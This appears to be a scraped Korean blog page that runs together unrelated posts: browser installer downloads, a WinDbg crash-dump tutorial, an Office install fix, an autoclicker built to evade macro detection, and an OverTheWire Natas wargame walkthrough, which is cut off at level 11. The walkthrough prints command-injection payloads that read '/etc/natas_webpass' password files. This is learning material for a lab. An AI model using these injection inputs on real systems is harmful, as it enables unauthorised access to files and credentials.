ա բ գ դ ե զ է ը թ ժ ի լ խ ծ կ հ ձ ղ ճ մ յ ն ո չ պ ջ ռ ս վ տ ր ց ւ փ ք օ ֆ և

ឃ ង ច ឆ ឈ ញ ដ ឋ ឌ ឍ ណ ត ថ ទ ធ ន ប ផ ភ ម យ ល ឝ
ឞ ស ឡ អ ឤ ឥ ឦ ឨ ឩ ឬ ឭ ឯ ឰ ឱ ឲ ឳ ឴ ឵ ា ១ ២ ៣ ៥ ៦ ៧ ៨ ៩

ஆ இ ஈ ஊ எ ஏ ஐ ஒ ஓ ஔ ஂ ஃ ா ி ௗ ங ஜ ஞ ண ந ன ம ய ற ல ள ழ வ ஸ ஹ ௧ ௨ ௩ ௪ ௫

а б в г д е ж з и й к л м н о п р с т у ф х ц
ч ш щ ъ ы ь э ю я ё ђ ѓ є ѕ і ї ј љ њ ћ ќ ў џ

ހ ށ ނ ރ ބ ޅ ކ އ ވ މ ފ ދ ތ
ލ ގ ޏ ސ ޑ ޒ ޓ ޔ ޕ ޖ ޗ ޘ ޙ
ޚ ޛ ޜ ޝ ޞ ޟ ޠ ޡ ޢ ޣ ޤ ޥ

ਕ ਗ ਘ ਙ ਚ ਛ ਜ ਝ ਞ ਟ ਡ ਢ ਣ ਤ ਥ ਦ ਧ
ਨ ਪ ਫ ਬ ਭ ਯ ਰ ਲ ਲ਼ ਵ ਸ ਹ ਖ਼ ਗ਼ ਜ਼ ੜ ਫ਼

ଆ ଇ ଈ ଉ ଊ ଋ ଌ ଐ ଓ ଔ ଖ ଗ ଘ ଙ ଛ ଜ ଝ ଞ ଟ ଢ ଣ ତ ଥ ଧ ନ ପ ଫ ବ ଭ ମ ଯ ର ଳ ଶ ଷ ସ ହ

ం ః అ ఆ ఇ ఈ ఉ ఊ ఋ ఌ ఎ ఏ ఐ ఒ ఓ ఔ క ఖ గ ఘ ఙ చ ఛ జ ఝ ఞ ట
ఠ డ ఢ ణ త థ ద ధ న ప ఫ బ భ మ య ర ఱ ల ళ వ శ ష హ ా ి ౕ ౖ ౠ
ౡ ౨ ౩ ౪ ౫ ౬ ౭ ౮ ౯ ಂ ಃ ಅ ಆ ಇ ಈ ಉ ಊ ಋ ಌ ಎ ಏ ಐ ಒ ಓ ಔ ಕ ಖ ಗ ಘ ಙ ಚ ಛ ಜ ಝ ಞ ಟ ಠ ಡ ಢ ಣ ತ ಥ ದ ಧ ನ ಪ ಫ ಬ ಭ ಮ ರ ಱ ಲ ಳ ವ ಶ ಷ

૦ ૧ ૨ ૩ ૪ ૫ ૬ ૭ ૮ ૯
੦ ੧ ੨ ੩ ੪ ੫ ੬ ੭ ੮ ੯

║ ╒ ╓ ╔ ╕ ╖ ╗ ╘ ╙ ╚ ╛ ╜ ╝ ╞
╟ ╠ ╡ ╢ ╣ ╤ ╥ ╦ ╧ ╨ ╩ ╪ ╫ ╬

ꋰ ꋱ ꋲ ꋳ ꋴ ꋵ ꋶ ꋷ ꋸ ꋹ ꋺ ꋻ ꋼ ꋽ
ꀢ ꀣ ꀤ ꀥ ꀦ ꀧ ꀨ ꀩ ꀪ ꀫ ꀬ ꀭ
ꀲ ꀳ ⇒ ⇔ ꀮ ꀯ ꀰ ꀱ
← ↑ → ↓ ↔ ↕ ↖ ↗ ↘ ↙
ꀹ ꀺ ꀻ ꀼ ꀽ ꁼ ꁽ ꁾ ꁿ
ꀴ ꀵ ꀶ ꀷ ꀸ
ꀾ ꀿ ꁂ ꁃ ꁄ ꁅ ꎴ ꎵ
ꍖ ꍗ ꍘ ꍙ ꍚ ꍛ ꍜ ꍝ

܁ ܂ ܃ ܄ ܅ ܆ ܇ ܈ ܉
ꌈ ꌉ ꌊ ꌋ ꌌ ꌍ ꌎ ꌏ ꌐ ꌀ ꌁ ꀞ ꀟ

ꀆ ꀇ ꀈ ꀉ ꀊ ꀋ ꀌ ꀍ ꀎ ꀏ ꀐ ꀑ
ꀒ ꀓ ꀔ ꀕ ꀖ ꀗ ꀘ ꀙ ꀚ ꀛ ꀜ ꀝ
༼ ༽ ༾ ༿ ⌠ ⌡ꌼ ꌽ ꌾ ꌿ ꍀ ꍁ ꍂ ꍃ ꍄ ꍅ ꍆ ꍇ ꍈ ꍉ ꍐ ꍑ

ꍊ ꍋ ꍌ ꍍ ꍎ ꍏ ꍒ ꍓ ꍔ ꍕ ᚛ ᚜

ꌑ ꌒ ꌓ ꌔ ꌕ ꌖ ꌗ ꌘ ꌙ ꌚ ꌛ ꌜ ꌝ ꌞ ꌟ ꌠ ꌡ ꌢ ꌣ ꌤ
ꌥ ꌦ ꌧ ꌨ ꌩ ꌪ ꌫ ꌬ ꌭ ꌮ ꌯ ꌰ ꌱ ꌲ ꌳ ꌴ ꌵ ꌶ ꌷ
ꏪ ꏫ ꏬ ▒ ▓


ꁳ ꁴ ꁵ ꁶ ꁷ ꁸ
ꁣ ꁤ ꁥ ꁦ ꁧ ꁨ
ꁩ ꁪ ꁫ ꁬ
ꁭ ꁮ ꁯ ꁰ ꁱ ꁲ ◆ ◇ ◈
ꂔ ꂕ ꂗ ꂘ ꂙ
▣ ▤ ▥ ▦ ▧ ▨ ▩

ᚠ ᚡ ᚢ ᚣ ᚤ ᚥ ᚦ ᚧ ᚨ ᚩ ᚪ ᚫ ᚬ ᚭ ᚮ ᚯ ᚰ ᚱ ᚲ ᚳ ᚴ ᚵ ᚶ ᚷ ᚸ ᚹ ᚺ ᚻ
ᚼ ᚽ ᚾ ᚿ ᛀ ᛁ ᛂ ᛃ ᛄ ᛅ ᛆ ᛇ ᛈ ᛉ ᛊ ᛋ ᛌ ᛍ ᛎ ᛏ ᛐ ᛑ ᛒ ᛓ ᛔ ᛕ ᛖ ᛗ ᛘ
µ ¶ ܏ᛙ ᛚ ᛛ ᛜ ᛝ ᛞ ᛟ ᛠ ᛡ ᛢ ᛣ ᛤ ᛥ ᛦ ᛧ ᛨ ᛩ ᛪ ᛫ ᛬ ᛭ ᛮ ᛯ ᛰ

  ᚁ ᚂ ᚃ ᚄ ᚅ
ᚆ ᚇ ᚈ ᚉ ᚊ
ᚋ ᚌ ᚍ ᚎ ᚏ
ᚐ ᚑ ᚒ ᚓ ᚔ
ꁌ ꁍ ꁎ ꁏ ꁐ

♩ ♪ ♫ ♬ ♭ ꁔ ꁕ ꁖ ꁗ ꁛ ꁜ ꁝ ꁞ ꁟ ꁠ ꁡ
ꁑ ꁒ ꁓ ꁘ ꁙ ꁚ ꁢ

ꁇ ܀ ܊ ܋ ܌ ܍ ¤ ፨ ₪ ꂇ ◘ ◙ ⌂ ☺ ☻ ♀ ♂ ꋭ ꋯ ާ ި ީ ު ޫ ެ ޭ ޮ ᚗ ᚘ
፡ ። ፣ ፤ ፥ ፦ ፧ ‘ ’ ‚ ‛ “ ” „ ‥ … ‧ ′ ″ 〝 〞 〟

ꏯ ꏰ ꏱ ꏲ ꏳ ꏴ
ꏣ ꏤ ꏥ ꏦ ꏧ ꏨ ꏩ
ꏛ ꏜ ꏝ ꏞ ꏟ ꏠ ꏡ ꏢ
ꏍ ꏎ ꏏ ꏐ ꏑ ꏒ ꏇ ꏈ
ꏔ ꏕ ꏖ ꏮ ꂚ ꏅ ꏚ ꏋ
☼ ꀀ ꁋ ꂊ ꂐ ꏗ ꏘ ꏙ ꁉ ꏆ
ꁹ ꁺ ꁻ ꂂ ꂃ ꂅ ꂆ ꂈ ꂉ ꏊ ꏓ
ꂋ ꂌ ꂍ ꂎ ꂏ ꂑ ꂒ ꂓ ꂖ 〒



Windows XP Internet Explorer 8 설치 파일 다운로드

안녕하세요 진호박입니다. 

Windows XP Internet Explorer 8 설치 파일을 공유합니다.

설치 언어는 한국어입니다. 





Windows XP Internet Explorer 7 설치 파일 다운로드

안녕하세요 진호박입니다. 

Windows XP Internet Explorer 7 설치 파일을 공유합니다.

설치 언어는 한국어입니다. 






Windows Vista 64bit Internet Explorer 9 설치 파일 다운로드

안녕하세요 진호박입니다. 

Windows vista 64bit용 Internet Explorer 9 설치 파일을 공유합니다.

설치 언어는 한국어입니다. 





Windows Vista 64bit Internet Explorer 8 설치 파일 다운로드

안녕하세요 진호박입니다. 

Windows vista 64bit용 Internet Explorer 8 설치 파일을 공유합니다.

설치 언어는 한국어입니다. 





Windows Vista 32bit Internet Explorer 9 설치파일 다운로드

안녕하세요 진호박입니다. 

Windows vista 32bit용 Internet Explorer 9 설치 파일을 공유합니다.

설치 언어는 한국어입니다. 





Windows Vista 32bit Internet Explorer 8 설치파일 다운로드

안녕하세요 진호박입니다. 

Windows vista 32bit용 Internet Explorer 8 설치 파일을 공유합니다.

설치 언어는 한국어입니다. 





Windows 7 64bit Internet Explorer 11 설치파일 다운로드

안녕하세요 진호박입니다. 

Windows 7 64bit용 Internet Explorer 11 설치 파일을 공유합니다.

설치언어는 한국어입니다. 





Windows 7 64bit Internet Explorer 10 설치파일 다운로드

안녕하세요 진호박입니다. 

Windows 7 64bit용 Internet Explorer 10 설치 파일을 공유합니다.

설치언어는 한국어입니다. 





Windows 7 64bit Internet Explorer 9 설치파일 다운로드

안녕하세요 진호박입니다. 

Windows 7 64bit용 Internet Explorer 9 설치 파일을 공유합니다.

설치언어는 한국어입니다. 





Windows 7 32bit Internet Explorer 11 설치파일 다운로드

안녕하세요 진호박입니다. 

Windows 7 32bit용 Internet Explorer 11 설치 파일을 공유합니다.

설치언어는 한국어입니다. 





Windows 7 32bit Internet Explorer 10 설치파일 다운로드

안녕하세요 진호박입니다. 

Windows 7 32bit용 Internet Explorer 10 설치 파일을 공유합니다.

설치언어는 한국어입니다. 





Windows 7 32bit Internet Explorer 9 설치파일 다운로드

안녕하세요 진호박입니다. 

Windows 7 32bit용 Internet Explorer 9 설치 파일을 공유합니다.

설치언어는 한국어입니다. 







안녕하세요 진호박입니다.

현재 애플에서 공식적으로 지원하지 않는 윈도우용 사파리 브라우저의 버전 별 설치 파일을 공유합니다.

티스토리 업로드 용량 제한으로 10M씩 분할압축하여 올렸습니다. 원하는 버전의 분할4개를 모두 같으폴더에 받은 후 001파일로 압축을 해제하시면 됩니다.





[사파리 브라우저 버전별 설치파일 다운로드 모음]



[Safari Setup 5.0.1.exe] 분할

Safari Setup 5.0.1.zip.001

Safari Setup 5.0.1.zip.002

Safari Setup 5.0.1.zip.003

Safari Setup 5.0.1.zip.004



[Safari Setup 5.0.2.exe] 분할

Safari Setup 5.0.2.zip.001

Safari Setup 5.0.2.zip.002

Safari Setup 5.0.2.zip.003

Safari Setup 5.0.2.zip.004



[Safari Setup 5.0.3.exe] 분할

Safari Setup 5.0.3.zip.001

Safari Setup 5.0.3.zip.002

Safari Setup 5.0.3.zip.003

Safari Setup 5.0.3.zip.004



[Safari Setup 5.0.4.exe] 분할

Safari Setup 5.0.4.zip.001

Safari Setup 5.0.4.zip.002

Safari Setup 5.0.4.zip.003

Safari Setup 5.0.4.zip.004



[Safari Setup 5.0.5.exe] 분할

Safari Setup 5.0.5.zip.001

Safari Setup 5.0.5.zip.002

Safari Setup 5.0.5.zip.003

Safari Setup 5.0.5.zip.004



[Safari Setup 5.1.1.exe] 분할

Safari Setup 5.1.1.zip.001

Safari Setup 5.1.1.zip.002

Safari Setup 5.1.1.zip.003

Safari Setup 5.1.1.zip.004



[Safari Setup 5.1.2.exe] 분할

Safari Setup 5.1.2.zip.001

Safari Setup 5.1.2.zip.002

Safari Setup 5.1.2.zip.003

Safari Setup 5.1.2.zip.004



[Safari Setup 5.1.4.exe] 분할

Safari Setup 5.1.4.zip.001

Safari Setup 5.1.4.zip.002

Safari Setup 5.1.4.zip.003

Safari Setup 5.1.4.zip.004



[Safari Setup 5.1.5.exe] 분할

Safari Setup 5.1.5.zip.001

Safari Setup 5.1.5.zip.002

Safari Setup 5.1.5.zip.003

Safari Setup 5.1.5.zip.004



[Safari Setup 5.1.7.exe] 분할

Safari Setup 5.1.7.zip.001

Safari Setup 5.1.7.zip.002

Safari Setup 5.1.7.zip.003

Safari Setup 5.1.7.zip.004









안녕하세요 진호박입니다.

오페라 브라우저의 정식 릴리즈 기준 설치본 다운로드를 버전 별로 링크하여 공유합니다.

기본적으로 한국어 버전 설치본이고 오프라인 설치가 가능한 파일입니다.



[오페라 브라우저 정식 릴리즈 버전별 다운로드]

원하시는 버전을 클릭하면 다운로드 페이지로 이동 됩니다.


Opera 브라우저
Opera 41.0.2353.56
Opera 41.0.2353.46
Opera 40.0.2308.90
Opera 40.0.2308.81
Opera 40.0.2308.62
Opera 40.0.2308.54
Opera 39.0.2256.71
Opera 39.0.2256.48
Opera 39.0.2256.43
Opera 38.0.2220.41
Opera 38.0.2220.31
Opera 38.0.2220.29
Opera 37.0.2178.54
Opera 37.0.2178.43
Opera 37.0.2178.32
Opera 36.0.2130.65
Opera 36.0.2130.46
Opera 36.0.2130.32
Opera 35.0.2066.92
Opera 35.0.2066.82
Opera 35.0.2066.68
Opera 35.0.2066.37
Opera 34.0.2036.50
Opera 34.0.2036.47
Opera 34.0.2036.25
Opera 33.0.1990.58
Opera 33.0.1990.43
Opera 33.0.1990.115
Opera 32.0.1948.69
Opera 32.0.1948.25
Opera 31.0.1889.99
Opera 31.0.1889.174
Opera 30.0.1835.88
Opera 30.0.1835.59
Opera 30.0.1835.52
Opera 29.0.1795.60
Opera 29.0.1795.47
Opera 28.0.1750.51
Opera 28.0.1750.48
Opera 28.0.1750.40
Opera 27.0.1689.76
Opera 27.0.1689.69
Opera 27.0.1689.66
Opera 27.0.1689.54
Opera 26.0.1656.60
Opera 26.0.1656.32
Opera 26.0.1656.24
Opera 25.0.1614.71
Opera 25.0.1614.68
Opera 25.0.1614.63
Opera 25.0.1614.50
Opera 24.0.1558.64
Opera 24.0.1558.61
Opera 24.0.1558.53
Opera 23.0.1522.77
Opera 23.0.1522.75
Opera 23.0.1522.72
Opera 23.0.1522.60
Opera 22.0.1471.70
Opera 22.0.1471.50
Opera 21.0.1432.67
Opera 21.0.1432.57
Opera 20.0.1387.91
Opera 20.0.1387.82
Opera 20.0.1387.77
Opera 20.0.1387.64
Opera 19.0.1326.63
Opera 19.0.1326.59
Opera 19.0.1326.56
Opera 19.0.1326.47
Opera 18.0.1284.68
Opera 18.0.1284.63
Opera 18.0.1284.49
Opera 17.0.1241.53
Opera 17.0.1241.45
Opera 16.0.1196.80
Opera 16.0.1196.73
Opera 16.0.1196.62
Opera 15.0.1147.153
Opera 15.0.1147.148
Opera 15.0.1147.141
Opera 15.0.1147.138
Opera 15.0.1147.130
Opera 12.17
Opera 12.16
Opera 12.15
Opera 12.14
Opera 12.13
Opera 12.12
Opera 12.11
Opera 12.10
Opera 12.02
Opera 12.01
Opera 12.00
Opera 11.64
Opera 11.62
Opera 11.61
Opera 11.60
Opera 11.52
Opera 11.51
Opera 11.50
Opera 11.11
Opera 11.10
Opera 11.01
Opera 11.00







안녕하세요 진호박입니다.

파이어폭스 브라우저의 정식 릴리즈 기준 한국어 설치본 다운로드를 버전 별로 링크하여 공유합니다.

기본적으로 한국어 버전 설치본이고 오프라인 설치가 가능한 파일입니다.





몇 가지 방법이 있는데, 그 중 Windbg.exe 를 이용한 방법이다.

아래 사이트에서 Winsdk_web.exe 를 다운받아 설치한다. 아래는 32비트용임.
http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=8279



다음은 설치 화면...


1. .NET 프레임웍 4 가 설치되지 않아 몇 가지 SDK component가 설치되지 않을 수 있다는 메시지.




2. 설치마법사 화면. Next!!




3. I Agree 선택하고, Next!!




4. 설치 위치. 특별한 사항 없음 기본 그대로, Next!!!




5. 설치하고자 하는 옵션을 선택하는 화면. windbg를 사용하려면 별다른 선택없이 기본으로 Next!!!




6. 이제 설치하겠다는 협박(?).ㅋㅋㅋ Next!!!




7. 설치 시작됨! 여기서 멈추려면 Cancel을..  선택한 옵션을 다운로드 받으면서 설치가 진행되기 때문에 시간이 꽤 걸림.



8. 설치 완료!!!




1. 설치가 끝나고 WinDbg를 실행시킨다.

시작 - 프로그램 - Debugging Tools for Windows - WinDbg


2. Symbol File Path를 설정한다.
   File - Symbol File Path...
   창이 하나 열리는데 거기에 아래와 같이 입력한다.
   SRV* c:\websymbols*http://msdl.microsoft.com/download/symbols


3. 아래와 같이 덤프파일을 불러온다. 
 
File - Open Crash Dump...


4. Dump 파일이 있는 폴더에 들어가서 해당 Dump (*.dmp) 파일을 선택하고 확인! 그러면 아래와 같이 Symbol을 읽어 오면서 분석 준비를 마치게 된다.

분석준비가 끝났으면, 아래와 같이 맨 아래 kd> 명령창에 다음 명령어를 입력하고 엔터!
1: kd> !analyze

위 명령어 결과는 문제 원인으로 추정된 것에 대한 간단한 결과만 알려준다.
자세한 내용을 보기 위해서는 아래와 같은 명령어를 입력한다.
1:kd> !analyze -v



5. 위와같이 명령어를 실행하면 1:kd> 가 BUSY 로 바뀌면서 덤프 분석을 실행한다.
 아래 그림 중 첫번째는 analyze 만 실행한 것이고, 두 번째는 -v 옵션을 준 결과이다.

 

 

 

 



위 분석 결과로 보면, 문제 발생 원인은 scsk5.sys 라는 파일에 있으며, 상세 결과를 보면 Driver Fault 라는 내용도 나온다.

전문가 까지는 아니더라도, 대강의 장애 원인 파악은 가능하다.


아래는 참고 자료
출처 : http://fl0ckfl0ck.tistory.com/203


기타 참고 자료 : http://www.numz.net/a/2162598
http://deguls.tistory.com/52
http://blog.naver.com/ojini21c?Redirect=Log&logNo=120090334194
http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=50&MAEULNO=20&no=870274&ref=870267
http://debugbeyond.blogspot.com/2011/01/how-to-set-microsoft-symbol-server.html

 

달팽이달팽이           err



작년부터 키운 식용 달팽이인데

겨울 요애 지내고 깨어나서 폭풍상추흡입 하다가

요 며칠 상추를 안먹길래 살펴보니 노오란 알을 한무더기 낳아놨네요 ㅎㅎ

이걸 다 어떻게 처치한담

분양하기도 너무많아서 곤란 ㅋㅋ

'여러가지 > 잡담' 카테고리의 다른 글

sumnail  (0) 2017.03.06
특수문자 모음  (0) 2016.12.19
[LOL]볼리베어 일러스트 채색연습  (0) 2013.08.07
카카오톡 몰래보기 어플 분석 [CapturedMsgViewActivity.java]  (0) 2013.08.01
Application Framework 부분 분석  (0) 2013.07.31

오피스 2013을 설치하다보면 오류중에 일

 

반적인 것이 아래와 같은 것이다.

 

Microsoft Setup Bootstrapper의 작동이 중지되었습니다.

 

 

 

에러화면1. 닫기를 클릭하면 아래와 같은 메세지가 나온다.

 

 

에러화면2. 프로그램 닫기를 클릭한 다음에 아래와 같은 순서대로 진행한다.

 

 

1. 기존의 오피스 프로그램을 깨끗하게 삭제한다.

 

제어판/프로그램에서 오피스 프로그램을 삭제하거나, 아래의 프로그램을 이용해서 손쉽게 삭제한다.

 

운영체제와 오피스버전을 확인후 삭제하면 된다(MS OFFICE 사이트 자료이므로 안심해도 됩니다)

 

 

윈도우7-윈도우xp-오피스2003삭제.msi

 

윈도우7-윈도우xp-오피스2007삭제.msi

 

윈도우7-윈도우xp-오피스2010삭제.msi

 

윈도우8-오피스2003삭제.diagcab

 

윈도우8-오피스2007삭제.diagcab

 

윈도우8-오피스2010 삭제.diagcab

 

 

2. 레지스트리 이름을 변경한다.

 1) 시작 / 실행 / regedit 입력하고 실행한다

 2) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\Eventlog\Parameter 찾은 다음에  마우스 오른쪽 버튼을 눌러서 이름을 변경한다.

  Parameters → Parameterss  (s하나만 더 입력하면 된다)

 

 

3. 모든 창을 닫고 재부팅하면 에러없이 완벽하게 설치하실 수 있습니다.

 

 

제품명 : 진호박's 오토클릭

버젼 : 0.1.0

제작언어 : VB 6.0

개발기간 : 1시간

기능 : 일정타이머 마다 왼쪽마우스를 클릭합니다.

매크로 감지를 일부 방지하기 위해 클릭사이에 일정타이머(0~50밀리세컨드)의 딜레이를 줍니다.

트레이아이콘기능으로 활용성 증가

 

단축키 기능으로 간편한 온오프(비활성 상태에서도 단축키는 작동합니다.)

 

수업시간에 요청으로인해 간단하게 만들어봤습니다 ㅋㅋ

 

 

 

 

 

 

 

 

 

2013년 2학기 중간고사 시간표(정보보안학부)

날짜/학과

2학년

컴보2A

10/7
(월)

10:00~10:50

웹서버운영체제
301

11:00~11:50

네트워크I
301

10/8
(화)

10:00~10:50

전자상거래보안
301

11:00~11:50

보안프로그래밍
301

10/10
(목)

14:00~14:50

직업기술교육론
402

15:00~15:50

정보사회와미디어
402

10/11
(금)

09:00~12:50

보안프로그래밍 보강
601

 

pre conv

여러가지/파일2013. 10. 1. 13:51

 

 

 

pre conv.exe

 

오랜만에 워게임을 풀어볼까하여 여러 사이트를 돌아니던 중에 시스템 해킹 워게임만 있을 줄 알았던 OverTheWire 사이트에 웹 해킹 워게임이 있어 한번 풀어보았다. 난이도는 어렵지 않아 하/중 정도 되는 것으로 생각이 된다. 웹 해킹 초급자들이 풀어보면 웹 해킹의 감을 잡는데 좋을 것으로 생각이 된다. 문제의 접속은 다음과 같이 하면 된다.


 - http://natasX.natas.labs.overthewire.org

X : Level Number

계정은 NatasX, 비밀번호는 문제를 풀면 다음 레벨 계정의 패스워드가 주어지므로 해당 패스워드로 접속하면 된다.


 - p.s : 모든 패스워드는 /etc/natas_webpass/natasX 에 존재한다.


[Natas0]

Username: natas0

Password: natas0

URL: http://natas0.natas.labs.overthewire.org


 아주 기초적인 문제이다. 접속하면 다음과 같은 화면을 만나게 된다.



해당 페이지에서 다음 레벨 계정의 패스워드를 찾을 수 있다는 말인데, 소스보기를 하면 주석으로 적혀 있는 패스워드를 발견 할 수 있다.




[Natas0 -> Natas1]

Username: natas1

URL: http://natas1.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



해당 레벨도 마찬가지로 소스보기를 통해 패스워드를 획득하면 된다. 하지만 설명에도 나왔듯이 오른쪽 클릭이 막혀있다. 오른쪽 클릭이 막혀있다 하여도 소스보기를 못하는 것은 아니다. 대부분의 마우스 클릭 방지는 클릭의 이벤트 코드를 통해 방어해 두었기 때문에 이벤트만 발생시키지 않으면 쉽게 무력화 시킬 수 있다. 대표적으로 브라우저 메뉴에서 소스코드 보기 버튼을 클릭하는 방법이 있다.



 



[Natas1 -> natas2]

Username: natas3

URL: http://natas3.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



위 지문이 무슨 말일까? 해당 페이지에는 아무것도 없다 라는 말이... 위 말대로라면 해당 페이지에서는 패스워드를 찾을 수 없으므로 다른 페이지를 찾아봐야 한다. 먼저 소스를 통해 다른 페이지로 갈만한 경로가 존재하는지 살펴보자.



페이지에는 표시가 되지 않았지만 이미지가 하나 링크되어 있다. 해당 이미지는 다운받아 보면 1x1 이미지로 조작된것이라 볼 수 있는 이미지이다. 하지만 패스워드와는 아무런 관련이 없어 보이고 해당 페이지가 존재했던 files/라는 디렉토리로 한번 접근을 시도해보면 다음과 같이 패스워드 파일이 존재하는 것을 볼 수 있다.


디렉토리 리스팅에 관해 문제를 제작한 것으로 보인다.


[Natas2 -> natas3]

Username: natas3

URL: http://natas3.natas.labs.overthewire.org


접속하면 Level 3과 같은 화면을 볼 수 있고 소스코드를 보면 다음과 같은 문장을 볼 수 있다.


<!-- No more information leaks!! Not even Google will find it this time... -->


구글이 앞으로 여기를 찾을 수 없다고 한다. 결국 구글봇이 해당 페이지를 크롤링하지 못한다는 말이 되는데, 구글봇이 크롤링을 하지 못하는 까닭으로 대표적인 것은 robots.txt 파일이 있다. 한번 살펴보자.


 

접근하지 못하게 설정되어 있는 디렉토리가 하나 보인다. 


디렉토리에는 user.txt 파일이 하나 존재하고 해당 파일에는 계정정보가 존재한다.


[Natas3 -> Natas4]

Username: natas4

URL: http://natas4.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



natas4.shtml 파일에 접근이 금지 되었다고 한다. 접근 할 수 있는 방법은 natas5 계정의 문제 도메인을 통해서만 접근이 가능하다고 한다. 하지만 우리는 natas5의 패스워드를 모르기 때문에 해당 페이지에 접속한 것으로 위 말은 말이 되지 않는다. 그렇다면 간단하게 패킷을 조작 해 마치 우리가 natas5의 도메인에서 접속 한 것처럼 위장하여 해당 레벨을 클리어 하자.



 

http 헤더를 보면 referer 필드가 존재한다. 해당 필드는 접속 페이지 이전에 어디서 접속하였는지 표시해주는 필드이다. 그러므로 해당 필드를 natas5의 문제 도메인으로 조작 해 접속을 마치 natas5 문제 도메인에서 해당 페이지로 한 것 처럼 조작하면 페이지는 정상적으로 열리게 될 것이다.




[natas4 -> natas5]

Username: natas5

URL: http://natas5.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



접근이 해제되었고 내가 로그인이 되지 않았다고 한다. 로그인을 해서 들어왔는데 로그인이 되지 않았다면 우리는 두 가지를 경우를 생각할 수 있다. 하나는 쿠키의 로그인을 판별하는 어떤 변수의 값이 잘못 설정되었거나 또는 로그인 세션이 해제된 경우이다.

먼저 쿠키 값을 살펴보자.


 

loggedin 라는 쿠키변수의 값이 0이다. 쿠키변수의 이름으로 보아 로그인과 관련되어 있는 듯 하니 1로 변경하고 다시 한번 페이지를 불러와보면 다음과 같이 패스워드를 획득 할 수 있다.




[natas5 -> natas6]

Username: natas6

URL: http://natas6.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



뭔가 입력하는 폼이 하나 존재하고 소스코드가 링크되어 있는 문자열이 존재한다. 일단 소스코드부터 살펴보자.



간단한 PHP 소스코드가 존재한다. $secret 변수에 들어 있는 값이 우리가 전송하는 $_POST['secret'] 값과 일치 할 때 natas7 계정의 패스워드를 출력 해 주는 아주 간단한 소스코드이다. 그럼 $secret 변수는 어디에 존재할까? 소스코드 맨 첫줄에 있는 include 함수에서 불러오는 파일을 한번 살펴보자.



secret.inc 파일을 보니 $secret 변수가 선언되어 있고 해당 변수에 어떤 값이 저장되어 있다. 우리가 해당 값을 입력하면 이번 문제를 클리어하게 된다.




[natas6 -> natas7]

Username: natas7

URL: http://natas7.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



링크를 클릭하고 소스보기를 해보면 알겠지만, 두 페이지는 page라는 변수로 구분되어 진다. 그리고 다음과 같은 힌트가 존재한다.


<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->


page라는 변수가 수상하므로 비정상적인 값을 넣어보면 다음과 같이 오류메시지가 출력 된다.


Warning: include(1): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 13 Warning: include(): Failed opening '1' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 13



include 함수를 사용하는 것을 볼 수 있다. 그럼 힌트에 나온 패스워드 파일도 page 변수로 넘겨주면 include 함수에 의해 그 내용이 현재 페이지에 뿌려지게 될 것이다.


 



[natas7 -> natas8]

Username: natas8

URL: http://natas8.natas.labs.overthewire.org


접속하면 natas6 계정 문제에서 봤던 화면과 동일한 화면을 볼 수 있다. 물론 소스코드 보기도 존재한다. 그러므로 소스코드를 보면 다음과 같이 간단한 PHP 소스코드가 눈에 보인다.



이번에도 우리가 입력한 값과 미리 소스코드에 정해져있는 값을 비교하여 패스워드를 출력할지 결정한다. 그런데 소스코드에서는 우리가 입력한 값을 인코딩하여 미리 인코딩되어 있는 값과 비교한다. 그러므로 우리는 인코딩된 값을 풀어 원래의 문자열을 찾아 입력해야 한다. 그래야 소스코드에서 우리의 값을 인코딩하여 비교할 때 미리 인코딩되어 있는 값과 우리의 값이 동일해 질 것이다.우리 값을 인코딩하는 encodeSecret() 함수의 동작을 보면 먼저 base64로 인코딩 한 후 strrev() 함수를 적용 해 값들을 뒤집고 문자들을 16진수 값으로 바꾸어 return 해 준다. 우리는 역으로 해당 값을 풀어가면 된다.




해당 값을 입력하면 다음과 같이 패스워드를 획득 할 수 있다.




[natas8 -> natas9]

Username: natas9

URL: http://natas9.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 살펴보자.



우리가 입력하는 값이 $key 변수에 들어가게 되고 해당 변수는 실행되는 명령어의 일부분으로 들어가게 된다. 명령어가 실행된다는 것에 주목하자. 명령어가 실행된다면 우리가 임의로 어떤 명령어를 넣어 패스워드 파일을 볼 수 있다는 것도 의미한다. 세미콜론을 이용하면 임의로 명령어를 실행하는 것이 가능하다.


;cat%20/etc/natas_webpass/natas10#


위처럼 입력하여 주면 패스워드를 획득 할 수 있다.


 



[natas9 -> natas10]

Username: natas10

URL: http://natas10.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



보안을 이유로 특정 문자들을 필터 해 두었다고 한다. 소스코드를 살펴보자.



지문 그대로 특정 문자들(;, |, &)을 필터 해 두었다. 앞에서 사용했던 코드로는 정상적으로 필터를 우회하고 패스워드 파일을 읽어내지 못한다. 여기서는 필터 문자들을 사용하지 못한다는 것을 염두에 두고 grep 명령어에 초점을 맞추어야 한다. grep 명령의 기본 기능을 이용 해 패스워드 파일을 읽어야 한다. ^, $문자를 이용하면 패스워드 파일을 정상적으로 읽을 수 있는데, ^ 문자는 줄의 시작을 의미하며 $는 줄의 끝을 의미한다. 그러므로 ^를 사용하면 줄이 시작되는 부분의 한줄을 출력하게 될 것이고 $를 사용하면 줄이 끝나는 줄의 줄을 출력할 것이다.


"^"%20/etc/natas_webpass/natas11#

"$"%20/etc/natas_webpass/natas11#




[natas10 -> natas11]

Username: natas11

URL: http://natas11.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 보면 지금까지 보던 소스코드들과는 다르게 조금 길다.



